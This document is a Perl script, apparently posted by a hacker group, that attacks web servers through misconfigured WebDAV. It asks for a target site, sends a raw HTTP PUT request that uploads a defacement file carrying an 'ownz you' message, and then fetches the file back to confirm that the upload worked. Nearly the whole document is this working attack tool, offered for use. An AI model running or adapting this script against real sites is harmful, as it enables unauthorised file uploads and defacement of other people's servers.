WEBDAV Uploader script in pearl

#/!/usr/bin/perl
##################################################################
#KYFX ^_^
#
# By Kyfx - 2013 ©
# Made in UK
# Greetz to all
# Twitter: @Kyfxsec
# Kyfxsec  [ Game Since 2011 ]
#
##################################################################


use HTTP::Request;
use LWP::UserAgent;
use IO::Socket::INET;
use Term::ANSIColor;
my $ua = LWP::UserAgent->new();
$ua ->timeout(15);

$deface='Fatal Error ownz you ! By Sup3rm4n GreetZ : w4n73d & s4r4d0 & Elemento_pcx !';

  print color("green"),
q{  _____     _        _   _____
 |  ___|_ _| |_ __ _| | | ____|_ __ _ __ ___  _ __

====================================================
  # WEBDAV Subdir Upload 0.1
  # By Kyfx - 2013 ©
  # Made in UK
  # Greez to all
  # Kyfxsec  [ Game Since 2011 ]
====================================================

 Digital a url target site
};
print " -->> ";

$site =<STDIN>;
chomp($site);

        if($site =~/http:\/\//){ substr($site, 0, 7) ="";}
        $sock = IO::Socket::INET->new(PeerAddr => "$site", PeerPort => 80, Proto => "tcp", Timeout => 8) or exit;
        print $sock "PUT /ferror.txt HTTP/1.1\n";
        print $sock "Accept: */*\r\n";
        print $sock "Accept-Language: en-us;q=0.5\r\n";
        print $sock "Translate: f\r\n";
        print $sock "Connection: Keep-Alive\r\n";
        print $sock "User-Agent: Microsoft Data Access Internet Publishing Provider DAV 1.1\r\n";
        print $sock "Host: $site\r\n";
        $length=length("$deface");
        print $sock "Content-Length: $length\r\n";
        print $sock "\r\n";
        print $sock "$deface\r\n";
        close($sock);

 my $lol = "http://".$site if ($site !~ m/http:\/\//);
 my $test .= $lol."/ferror.txt";
 my $request = HTTP::Request -> new (GET => $test);
 my $resposta = $ua -> request ( $request );

if( $resposta -> content =~ /$deface/ )
{

   print "\n Site Vulnerável --> $site/ferror.txt\n\n";

}


else {
   print "\n\n  O site $site não está vulnerável. \n\n" ;
}